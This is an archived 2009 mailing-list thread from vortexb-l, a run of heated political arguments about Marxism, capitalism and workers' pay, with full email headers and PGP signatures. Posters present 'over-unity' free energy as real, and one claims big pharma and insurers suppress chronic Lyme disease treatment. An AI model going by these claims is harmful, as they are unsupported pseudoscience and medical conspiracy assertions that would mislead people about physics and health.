charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: P-12, Nicaragua, F33, Fath-110, detection radar User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <_ZqG8.A.QCH.LSwGKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4170 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Kapitalism 101: The "'Over-Unity' Revolution" which will overthrow the Capitalist Order Status: O X-Status: X-Keywords: X-UID: 412 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey -- this Brendan Mcooney (the marxist YouTube guy) is my kind of marxist intellectual. And I'm not one who sez that too often. Check out his site: And check out his present blog article on Luddites and robots. Nota bene that it truly, truly concerns the relations which the 'force of production' -- "Over-Unity" *free energy* -- will have/ is having with the capitalists, under the present 'relations of production' in capitalist society. And I would guess that would concern the "MiB"and their capitalist masters somewhat fiercely. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkobBHsACgkQXo3EtEYbt3GoWgCfSbykFn9K8uo/1m0z9q5Ud3eY GHwAoM6Jk4gI9P6T90wzwraVy2GCaFya =/iE0 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon May 25 14:04:35 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PL4UNN003749; Mon, 25 May 2009 14:04:30 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PL4MCI003716; Mon, 25 May 2009 14:04:22 -0700 Resent-Date: Mon, 25 May 2009 14:04:22 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-POP-User: cen02900.centurytel.net Sender: jack@mail960c35.nsolutionszone.com Message-ID: <4A1B053F.3378CBDC@centurytel.net> Date: Mon, 25 May 2009 20:53:19 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <20090525010055.GA15548@shell.resist.ca> <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> <20090525061706.GA7943@shell.resist.ca> <4A1A94A5.A3B3801@centurytel.net> <20090525182736.GE18962@shell.resist.ca> Content-Type: text/plain; charset=us-ascii; name="xg" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xg" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4171 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Labor Theory of Value: Now on YouTube!! Status: O X-Status: X-Keywords: X-UID: 413 Jack Smith wrote on 5-25-09: At this moment, if a Sweden-type health care system existed in the US, I would not legally be able to receive treatment for chronic Lyme disease because the medical establishment would have the power to forbid it. grok wrote on 5-25-09: This is a stupid and hypocritical statement. A lie, AFAIC. How can you so baldly state that there would not be proper treatment for Lyme disease under 'socialized' medicine..?? Hi All, For documentation of the persecution of those with chronic Lyme disease, please see http://www.avonhistory.org/bug/bugwar.htm A good question is "why the persecution?" Part of the answer is that it is in the interest of big pharma to sell expensive anti-immune-response drugs to those diagnosed with multiple sclerosis, Lou Gehrig's disease, etc. rather than relative cheap antibiotics. Why don't the insurance companies object? Maybe they don't want the extent of the Lyme epidemic to be revealed, requiring them to pay for the treatment of many more people, who are suffering without any treatment with joint pain, extreme fatigue, Bell's palsy, TMJ -- Lyme disease is known as the second great imitator. A good book on the subject is "Cure Unknown" by Pamela Weintraub. Jack Smith From vortexb-l-request@eskimo.com Mon May 25 14:16:49 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4PLGkDg010447; Mon, 25 May 2009 14:16:46 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4PLGj9j010433; Mon, 25 May 2009 14:16:45 -0700 Resent-Date: Mon, 25 May 2009 14:16:45 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 25 May 2009 14:16:39 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! Message-ID: <20090525211639.GD5417@shell.resist.ca> Reply-To: grok@resist.ca References: <21858421b1df.21b1df218584@ncf.ca> <63ffa6020905251009j4c1fa12k1195fcc1a7d24ee4@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905251009j4c1fa12k1195fcc1a7d24ee4@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: P-12, Nicaragua, F33, Fath-110, detection radar User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4172 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 414 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > I'm afraid there's nothing honest about it. First he complains that it is > hypothetical, and next he complains that the hypothetical statement isn't > factual -- which is obvious, because it's hypothetical! Then he closes by > distracting us with the value judgment that the hypothetical is not to his > liking -- which is irrelevant. > > He doesn't like the hypothetical because it proves that most workers are > earning very well above the sustenance level, and his Marxism has no > explanation for that. Not on the rest of the Planet, they're not. And not all U.S. workers either, for that matter. The essential problem I have with vorticians -- and all petit-bourgeois, generally -- is not only that youse-all mostly don't think thru what is unfamiliar to you (for historical, hegemonic reasons), but that youse-all invent endless (often pathetically-obvious) excuses for not doing so. I guess this comes from your widespread -- and well-understood by the World -- sense of "entitlement" and "American Exceptionalism"... i.e.: your Imperial hubris. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkobCrcACgkQXo3EtEYbt3Fy5ACaAzHpicCBpVwl4zUuxFlHzW6D v9MAmwftR6tsrv4M7znrKF0V9+mLCXyf =Kdxy -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon May 25 14:22:25 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4PLMI8J012190; Mon, 25 May 2009 14:22:22 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4PLMIPh012179; Mon, 25 May 2009 14:22:18 -0700 Resent-Date: Mon, 25 May 2009 14:22:18 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=LLv9qp0cKdL1ixsCRG1mi1VlloTYEy9JojSvReENx7U=; b=JLJV2zm5Q9XHNskHXmgHslMbbyWeu8vfQwdrtz9g9HUjMBYMmbL6x2XIAZpMuDQLnB l+vor9gs186djotzpbYNOfpdWM5CZYtwBheM4bUvV3mUxphgUtVkB//KtuGFRUNYj7G9 T4WwCIxT9lCr5b/NmkkLINp2yxDTNs/05CmZw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=UuPcWifaaHp+Bm/4VIX/shCU5GGSB2U44Mq6HpCKAcA9Ao2SJNLhth37UAUN7+HTXy RMkM1Y9u0X97CFP5V2X/pPOYlhLl/aHNyceNL4GmcrbUVO//fZyUNiXiVMmheg8Y4JmE Et8P4LSR08xLxUp5PYMXx4Mh1JHcueKiUwBS4= MIME-Version: 1.0 In-Reply-To: <20090525211639.GD5417@shell.resist.ca> References: <21858421b1df.21b1df218584@ncf.ca> <63ffa6020905251009j4c1fa12k1195fcc1a7d24ee4@mail.gmail.com> <20090525211639.GD5417@shell.resist.ca> From: Charles HOPE Date: Mon, 25 May 2009 17:21:55 -0400 Message-ID: <63ffa6020905251421m54c8086bic5c643b00ccb6960@mail.gmail.com> Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a72e5a5b77046ac33493 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4173 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 415 --001636c5a72e5a5b77046ac33493 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Still more evasion. On Mon, May 25, 2009 at 5:16 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > I'm afraid there's nothing honest about it. First he complains that it > is > > hypothetical, and next he complains that the hypothetical statement isn= 't > > factual -- which is obvious, because it's hypothetical! Then he closes > by > > distracting us with the value judgment that the hypothetical is not to > his > > liking -- which is irrelevant. > > > > He doesn't like the hypothetical because it proves that most workers ar= e > > earning very well above the sustenance level, and his Marxism has no > > explanation for that. > > Not on the rest of the Planet, they're not. And not all U.S. workers > either, for that > matter. > > The essential problem I have with vorticians -- and all petit-bourgeois, > generally -- > is not only that youse-all mostly don't think thru what is unfamiliar to > you (for > historical, hegemonic reasons), but that youse-all invent endless (often > pathetically-obvious) excuses for not doing so. I guess this comes from > your > widespread -- and well-understood by the World -- sense of "entitlement" > and > "American Exceptionalism"... > > i.e.: your Imperial hubris. > > > - -- grok. > > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkobCrcACgkQXo3EtEYbt3Fy5ACaAzHpicCBpVwl4zUuxFlHzW6D > v9MAmwftR6tsrv4M7znrKF0V9+mLCXyf > =3DKdxy > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a72e5a5b77046ac33493 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Still more evasion.


On Mon, May 25, 2= 009 at 5:16 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> I'm afraid there's nothing honest abou= t it. =A0First he complains that it is
> hypothetical, and next he complains that the hypothetical statement is= n't
> factual -- which is obvious, because it's hypothetical! =A0Then he= closes by
> distracting us with the value judgment that the hypothetical is not to= his
> liking -- which is irrelevant.
>
> He doesn't like the hypothetical because it proves that most worke= rs are
> earning very well above the sustenance level, and his Marxism has no > explanation for that.

Not on the rest of the Planet, they're not. And not all U.S. work= ers either, for that
matter.

The essential problem I have with vorticians -- and all petit-bourgeois, ge= nerally --
is not only that youse-all mostly don't think thru what is unfamiliar t= o you (for
historical, hegemonic reasons), but that youse-all invent endless (often pathetically-obvious) excuses for not doing so. I guess this comes from you= r
widespread -- and well-understood by the World -- sense of "entitlemen= t" and
"American Exceptionalism"...

i.e.: your Imperial hubris.


- -- grok.









- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkobCrcACgkQXo3EtEYbt3Fy5ACaAzHpicCBpVwl4zUuxFlHzW6D
v9MAmwftR6tsrv4M7znrKF0V9+mLCXyf
=3DKdxy
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a72e5a5b77046ac33493-- From vortexb-l-request@eskimo.com Mon May 25 15:35:12 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4PMZ9ug012802; Mon, 25 May 2009 15:35:09 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4PMZ874012792; Mon, 25 May 2009 15:35:08 -0700 Resent-Date: Mon, 25 May 2009 15:35:08 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 25 May 2009 15:35:02 -0700 From: grok To: OrionWorks Cc: vortexb-l@eskimo.com Message-ID: <20090525223502.GE5417@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: P-12, Nicaragua, F33, Fath-110, detection radar User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4174 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: kritikal kritik - Formally Re: Mylow Outted Status: O X-Status: X-Keywords: X-UID: 416 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, OrionWorks mounted the barricade and roared out: > > Gee... more politikal talk on vortex-l... > > I say we ban the lot of them. > > Over the years it's been my experience that many subjects have been > discussed on Vortex-l. This includes, as you well know, politics and > religion. While certain purists might occasionally grumble and > complain that not enough pure science is being discussed, it has never > risen to the point that serious factions have risen among the ranks > threatening to destroy the cohesiveness of the group. It's also been > my experience that Mr. Beaty, the Vortex-l list keeper, is a > benevolent dictator of sorts. He really has to be motivated before > banning someone from the Vortex-l sandbox, or places the offending > party on probation. The point you're making here, in not-so-many-words, is an ad hominem one, Steve. You're not really learning here (because, of course, you feel that you don't HAVE to). My main point here (again) is that YOU people chose to escalate this, past my simple statements of disagreement with what is assumed about Life by apparently most people on vortex-l. I went along with the escalation, of course, because I have no vested interest in maintaining any politikal status quo in the U.S. or elsewhere. The real point is: most of you are still denying the validity of what I say, let alone how I go about saying it. And so again: this is really very much all about the widespread denial in U.S., and generally in petit-bourgeois society, of the serious - -- and AFAIC terminal -- nature of the crisis now descending upon capitalist class society. Just because you people can still export your problems onto other peoples' heads for now, doesn't obviate that analysis one little bit. > I was struck by something in your concluding remarks - in response to > something I said: > > >> If I've learned anything so far it would seem that life > >> is telling me it would be wise to verify or disprove one's > >> fantasies as quickly as possible. > > > And that is a principle I myself operatre under: in fact, > > I am my own most kritikal kritik. Believe that or not! > > ;P > > I most certainly DO believe that you are your own worst "kritikal kritik". > > Takes one to know one. ;-) > > Perhaps you should occasionally give yourself a break. This here is just another not-so-veiled ad hominem, Steve. I suggest you wean yourself from such usage. Not that we don't all occassionally backslide. Again: the problem is with the widespread denial in U.S./bourgeois society -- as evinced by this eList of purported free thinkers and explorers for the Turth. > In my own experience I have found that it is often not so easy to > extend "a break" to oneself. Nevertheless, it is worth the effort. > > Regards > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks You really shouldn't project your own circumstances onto the Great Unknown, Steve. It usually doesn't map, eh? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkobHRYACgkQXo3EtEYbt3F/fgCgniJoSaytiI6paEW+3Eg7KKzR njQAoI/1iifdxKNQCSf0zD+VPkv7xCT4 =Cqxc -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon May 25 16:56:29 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PNuR5a005009; Mon, 25 May 2009 16:56:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PNuNvq004981; Mon, 25 May 2009 16:56:23 -0700 Resent-Date: Mon, 25 May 2009 16:56:23 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: LodxHRwVM1kxWmDOZBkBuK.LFwXnnzgPedtHqobTFG0PWC_Y7K6V6HCu1w505KOpfJHkz2amRyuhxGX12CYFkcpYOC2mVCWq4vifhRAXr5UO617OSSmW7r8KNTMI9CQaP7KF2jPbwfppYFaRG5.v4ktOHUjEiUKEHGleQLYl1l_sZCgFEidhrIGMhe.FfNf5lZdzFsb298iyRLamHKncaueKIeYnHdyJfEBGpd65QtMhrh6Lhf2JTv9AGJxHY2pSY4riiOWf38jf4hm3D0wtyqrklO97CSEy855FF9PvipYADuO3GBsS8drjJGBK1JybuUP8lZtme_hIQbUfrQ-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com, svj.orionworks@gmail.com Subject: Re: [VoB]:Re: [Vo]:Mylow Outted Date: Mon, 25 May 2009 18:56:15 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <631FEBF5-8F41-4481-BB6A-1ECF321BFF63@ix.netcom.com> <20090525175212.GC18962@shell.resist.ca> In-Reply-To: <20090525175212.GC18962@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4175 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 417 On Mon, 25 May 2009 10:52:12 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >Gee... more politikal talk on vortex-l... I say we ban the lot of them. --- _You_ say?=20 Who are you to issue edicts? _I_ say that what you say is irrelevant, banal, and self-serving.=20 Especially the cutesy spelling, which you seem to use in an amateurish effort to draw attention to yourself. --- >As the smoke cleared, OrionWorks >mounted the barricade and roared out: > >> As for me... shoot! I guess I'm basically an optimist at heart. I >> would prefer to conduct my life on the initial premise of not judging >> people, or at least giving them the benefit of the doubt first before >> automatically condemning them to the trash heap. This has obviously >> not always worked out in my favor. > >The proper approach is indeed to give most people the benefit of the = doubt most of >the time. The reason why is as you explained further. --- And now you're "validating" Mr. Johnson's statement by parroting him, but by the use of "is indeed", allowing the unwary to place you above him on the food chain. That gives you, in the eyes of the unwary, magnanimity, which you can easily use to, later on, slur Mr. Johnson. --- >> Reagan said it best: "Trust, but verify." > >Exactly the kind of fascistic war-criminal asshole you WOULDN'T extend = the benefit of >the doubt to. --- Why not? All he was doing was asking the Soviets to prove that their intentions were sincere. Do you also disagree with: "Speak softly but carry a big stick"? --- >> Obviously, practicing such personal philosophy runs the risk of >> opening myself up to charges of being gullible. It's a risk I'm >> willing to accept. I'm sure it will happen to me again. But for me, >> it's the lesser of two evils. Assuming an air of intellectual >> superiority - that such-n-such a device couldn't possibly work, cuz, >> well... cuz we all know better and that it just kant, is not a >> behavior I would care to emulate in my life. In a weird kind'a way the >> latter attitude, IMO, can mask an unconscious fear of not wanting to >> be labeled as behaving in a gullible fashion by one's peers. It could >> blind one from ferreting out the occasional diamond in the ruff. --- Nicely put. :) Once upon a time, a long time ago, I was told by an "authority" that a broadband symmetrical square wave frequency doubler was impossible to achieve because the edges of the signal to be doubled wouldn't line up properly all of the time. Nevertheless, I built it, had it published, and vanquished my critic. --- =20 >This is exactly the attitude which has hobbled the true scientific = spirit of enquiry; >but not only that: it is also what lies behind much of the failure of = working-class >politix, historically. Someone wrote that, as far as they were = concerned, one of the >main failings of the french Left was the fact that most of its = leadership was more >afraid of being ridiculed, than being _wrong_..! Think about that.=20 > > > >=20 >> If I've learned anything so far it would seem that life is telling me >> it would be wise to verify or disprove one's fantasies as quickly as >> possible. >>=20 >> Regards >> Steven Vincent Johnson >> www.OrionWorks.com >> www.zazzle.com/orionworks > >And that is a principle I myself operatre under: in fact, I am my own = most >kritikal kritik. Believe that or not! >;P --- Don't you mean "operate"? JF =20 From vortexb-l-request@eskimo.com Mon May 25 17:18:22 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4Q0IJYe002629; Mon, 25 May 2009 17:18:19 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4Q0IISg002623; Mon, 25 May 2009 17:18:18 -0700 Resent-Date: Mon, 25 May 2009 17:18:18 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 25 May 2009 17:18:03 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Mylow Outted Message-ID: <20090526001803.GF5417@shell.resist.ca> Reply-To: grok@resist.ca References: <631FEBF5-8F41-4481-BB6A-1ECF321BFF63@ix.netcom.com> <20090525175212.GC18962@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: P-12, Nicaragua, F33, Fath-110, detection radar User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4176 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 418 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >Gee... more politikal talk on vortex-l... I say we ban the lot of them. > > --- > _You_ say? > > Who are you to issue edicts? > > _I_ say that what you say is irrelevant, banal, and self-serving. First of all: I was being facetious. Second of all: you're projecting, Fields: a sign of a desperate lost argument. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkobNTsACgkQXo3EtEYbt3H6uACfYJoi8jCu23OghTTGL9+myMEe lswAn0zBbdrV5dORDnqoJrjp6XKCqq+Y =jqxU -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon May 25 17:41:41 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4Q0fdI5013269; Mon, 25 May 2009 17:41:39 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4Q0fcfX013255; Mon, 25 May 2009 17:41:38 -0700 Resent-Date: Mon, 25 May 2009 17:41:38 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <22c3b0233446.23344622c3b0@ncf.ca> Date: Mon, 25 May 2009 20:41:33 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Fwd: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: multipart/mixed; boundary="--333755ca2d6e478c" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4177 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 419 This is a multi-part message in MIME format. ----333755ca2d6e478c Content-Type: text/html; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit ----333755ca2d6e478c Content-Type: message/rfc822 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Received: from [209.217.93.6] by saruman.ncf.ca (mshttpd); Mon, 25 May 2009 20:39:50 -0400 From: Harry Veeder To: grok@resist.ca Message-ID: <22bb1022d516.22d51622bb10@ncf.ca> Date: Mon, 25 May 2009 20:39:50 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable ----- Original Message ----- From=3A grok =3Cgrok=40resist=2Eca=3E Date=3A Saturday=2C May 23=2C 2009 11=3A44 pm Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E -----BEGIN PGP SIGNED MESSAGE----- =3E Hash=3A SHA1 =3E = =3E = =3E As the smoke cleared=2C Harry Veeder =3Chveeder=40ncf=2Eca=3E =3E mounted the barricade and roared out=3A =3E = =3E =3E =3E =3E I would say=2C all things being equal=2C it boils down to= the = =3E right to refuse the =3E =3E =3E =3E transaction and NOT BE WORSE OFF for having refused=2E =3E =3E =3E =3E = =3E =3E =3E =3E Harry =3E =3E =3E = =3E =3E =3E Which is generally NOT the case for workers=2C n=27est-ce pas= =3F = =3E =3E =3E = =3E =3E =3E - -- grok=2E =3E =3E = =3E =3E I don=27t know=2E =3E =3E Harry =3E = =3E I find that hard to believe=2C frankly=2E =3E = =3E It=27s very simple=3A workers have to work -- or they starve=2E They = =3E generally don=27t own =3E land to cultivate (even recent historical =22prosperity=22 has been i= n = =3E large part a =3E Post-war attempt by the ruling-class to lower Western workers=27 = =3E class-consciousness -- =3E besides being an important side-effect of the recently deceased = =3E =22Fordist=22 model of =3E industrial and labor market organization)=3B and workers do not own = =3E much or any =27means =3E of production=27 either=2E Nor much capital=2E So they either work --= or = =3E they starve=2E =3E Except we have FDR=27s =27New Deal=27 legacy =27Social Security=27 to= fall = =3E back on now=2E=2E=2E =3E Except that *Guess Who* has been trying to destroy =5Fexactly that=5F= = =3E in the past few =3E decades=3A and FULLY intends to administer the coup de gr=E2ce under = =3E this scumbag =3E Democrat Wall St=2E stooge=2C =22Barry=22 Obama=2E The experience of workers is diverse=2E It runs the gamut from extreme exploitation to =22I-dislike-my-job-but-I-love-the-pay=22=2C to =22I-couldn=27t-ask-for-a-better-place- to-work!=22 So I don=27t believe capitalism is inherently exploitative=2C= but there is nothing inherent in capitalism that prevents it from abusing and exploiting workers=2E Harry ----333755ca2d6e478c-- From vortexb-l-request@eskimo.com Mon May 25 19:43:27 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4Q2hP31008224; Mon, 25 May 2009 19:43:25 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4Q2hKib008211; Mon, 25 May 2009 19:43:20 -0700 Resent-Date: Mon, 25 May 2009 19:43:20 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <231d44230bb0.230bb0231d44@ncf.ca> Date: Mon, 25 May 2009 22:43:18 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:China vs. US 